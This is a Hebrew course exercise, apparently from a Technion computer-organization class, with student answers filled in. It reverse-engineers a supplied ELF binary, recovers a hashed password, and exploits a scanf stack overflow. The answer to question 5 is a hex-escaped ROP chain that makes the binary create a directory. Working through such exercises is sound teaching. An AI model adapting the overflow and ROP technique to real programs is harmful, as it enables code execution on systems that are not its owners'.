

הטכניון – מכון טכנולוגי לישראל

ארגון ותכנות המחשב

## תרגיל 3 - חלק יבש

המתרגל האחראי על התרגיל: תומר כץ.

שאלותיכם במייל בעניינים מנהלתיים בלבד, יופנו רק אליו.

שאלות בעל-פה ייענו על ידי כל מתרגל.

הוראות הגשה:

- לכל שאלה יש לרשום את התשובה במקום המיועד לכך.
- יש לענות על גבי טופס התרגיל ולהגיש אותו באתר הקורס בקובץ PDF.
- על כל יום איחור או חלק ממנו, שאינו בתיאום עם המתרגל האחראי, יורדו 5 נקודות.
- גם הגשות באיחור יש להגיש באתר במקום המתאים לכך.
- שאלות הנוגעות לתרגיל יש לשאול דרך הפיאצה בלבד.
- ההגשה בזוגות.

אנטוני סלבין

נועם גולדנשטיין

בעודכם מסתובבים במסדרונות בניין טאוב, בשביל להגיע להרצאה באת"מ, מצאתם על הרצפה דיסק-און-קי חשוד. על הדיסק-און-קי מוטבע הלוגו של המוסד ובצידו השני חרוטה כתובת בשפה זרה. בתוך הדיסק-און-אי נמצא קובץ ההרצה verySecretProgram (המוצרף לכם לתרגיל). מטרתכם בתרגיל בית זה היא לפענח מה אותה תוכנה מסתורית עושה. מומלץ להיעזר בכלים עליהם למדנו בקורס (objdump, readelf וכו').

שימו לב: שני חלקי התרגיל מבוססים על אותו קובץ verySecretProgram המצורף לתרגיל. אל דאגה הקובץ לא באמת יהרוס לכם את המחשב :

חלק א' – Reverse Engenering (35 נקודות- 5 כל סעיף)

בחלק זה נסתכל ונחקור את התוכנית המקומפלת וננסה להבין מה היא עושה.

1. מה גודל ה Section header table?  $1856 \text{ bytes} = 64 \cdot 29$

2. כמה program headers מוגדרים בקובץ? 9

3. עבור כל program header מסוג LOAD, הכניסו את נתוניו לטבלה הבאה (יתכנו שורות ריקות):

מיקום בקובץ (offset בבתים)	כתובת בזיכרון	גודל בקובץ	גודל בזיכרון	הרשאות (סמנו את ההרשאות)
0	0x400000	0x20e0	0x20e0	R W X
0x2e10	0x602e10	0x23a	0x240	R W X
				R W X
				R W X

4. מהו ערך הבית שנמצא בכתובת 0x4015f8? 0x42

5. להלן הגדרה של משתנה שנמצא בכתובת 0x603040 השלימו את ערך האתחול החסר:

```
unsigned long hash = 0x0939f103; //remember little endian
```

השאלה ממשיכה בעמוד הבא

6. לאחר שאספתם בסעיפים הקודמים מספר נתונים יבשים על קובץ ההרצה, אתם כעת מעוניינים להבין ממש מה התוכנית שממנה נוצר קובץ ההרצה.  
לצורך כך חבר שלכם שבמקרה עובד במחלקה הסודית להגנת הטכניון, השתמש ב-Decompiler המשוכלל שלו, אך לרוע מזלכם חלקים מן התוכנית לא הצליחו להשתחרר מפאת סודיות יתר. מלאו את החלקים החסרים בקטע הקוד הבא.

הערות:

ניתן להשתמש בשם של המשתנה מהסעיף הקודם.  
שימו לב שהקוד קומפל ע"י קומפיילר לכן נמצאות בו כל מיני אופטימיזציות, לדוגמא, במקום לקרוא לפונקציה checkPasswordAux, הקומפיילר עשה לה inline.  
בנוסף הקומפיילר מוסיף קוד שאינו מופיע בקוד c, לדוגמא קוד שמגן מחריגת חוצץ, התעלמו ממנו בתרגיל.

```
1. int checkPasswordAux(char* s){
2.     int sum = 0;
3.     while( *s != 0 ){
4.         char c = *s;
5.         if(c-'a'> 25){
6.             return 100;
7.         }
8.         while(c){
9.             sum += c & 0x01;
10.            c = c >> 1;
11.        }
12.        s++;
13.    }
14.    return sum;
15. }
16. bool checkPassword(char* s){
17.     char* copy = s;
18.     if(checkPasswordAux(s) > 0x19){
19.         return 0;
20.     }
21.     s = copy;
22.     unsigned long y = 0;
23.     while(*s != 0){
24.         unsigned long x = *s - 0x61; // 0x61 = 'a'
25.         if(x > 0x19){ // 0x19 = 25
26.             return 0;
27.         }
28.         if(y > ~x){
29.             return 0;
30.         }
31.         y = x + y*26;
32.         s++;
33.     }
34.     return y == hash;
35. }
```

7. מהי הסיסמה הנכונה שתגרום לפונקציה checkPassword להחזיר true:

natanz

חלק ב' – חלק לח. **Binary Exploitation** (65 נקודות)

בחלק זה ננצל חולשה ([פרצת אבטחה](#)) בתוכנית בכדי לגרום לה להריץ קוד לבחירתנו על המחשב של המשתמש. נשתמש בטכניקה לניצול חולשות מסוג **ROP**. להלן הגדרת פונקציית main:

```
int main(){
    char password[16];
    printf("enter your password\n");
    scanf("%s", password);
    if(checkPassword(password)){
        printf("Good to see you back agent R. As you know your next mission
will take place in %s. See you there. \n", password);
        return 0;
    }
    printf("wrong password! After 3 wrong passwords this program will destroy
the computer. Good luck. \n");
    return -1;
}
```

1) הסבירו בקצרה מה הבעיה בקריאה של התוכנית ל scanf? (5 נקודות)

מספר הבתים לא מצויין ולכן scanf יקרא עד סוף השורה ויכול לדרוס מקומות בזיכרון שלא הוקצו בשבילו.

2) משתמש הכניס את הקלט הבא:

supercalifragilisticexpialidocious

לאיזה כתובת תקפוץ פקודת ret שמבצעת הפונקציה main בסופה? (5 נקודות)  
רמז: לפתרון הסעיף מומלץ להסתכל בקוד אסמבלי של main או להשתמש ב־gdb.

[0x6F69636F64696C61](#)

השאלה ממשיכה בעמוד הבא



5) תנו דוגמא לקלט שיגרום לתוכנית ליצור תיקייה בשם `my_first_rop` עם הרשאות 0755 (אוקטלי) תחת התיקייה הנוכחית. הניחו שלא קיים קובץ או תיקייה בשם זה תחת התיקייה הנוכחית ושיש הרשאות ליצור תיקייה זו. אין חשיבות לדרך היציאה מהתוכנית ואין חשיבות לפלט שמודפס לגבי נכונות הסיסמה. בפרט, זה בסדר שהתוכנית תסתיים כתוצאה מ-segfault או סיגנל אחר לאחר יצירת התיקייה. (30 נקודות)

```
my_first_rop\x00__ATAM>OS__\x71\x0e\x40\x00\x00\x00\x00\x00\xa2\x1d\x40\x00
\x00\x00\x00\x00\x1f\x0e\x40\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x0
0\x00\x6b\x1b\x40\x00\x00\x00\x00\x00\x1e\x0e\x40\x00\x00\x00\x00\x00\xa1\x
1d\x40\x00\x00\x00\x00\x00\xed\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x53\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x00\x00\x
```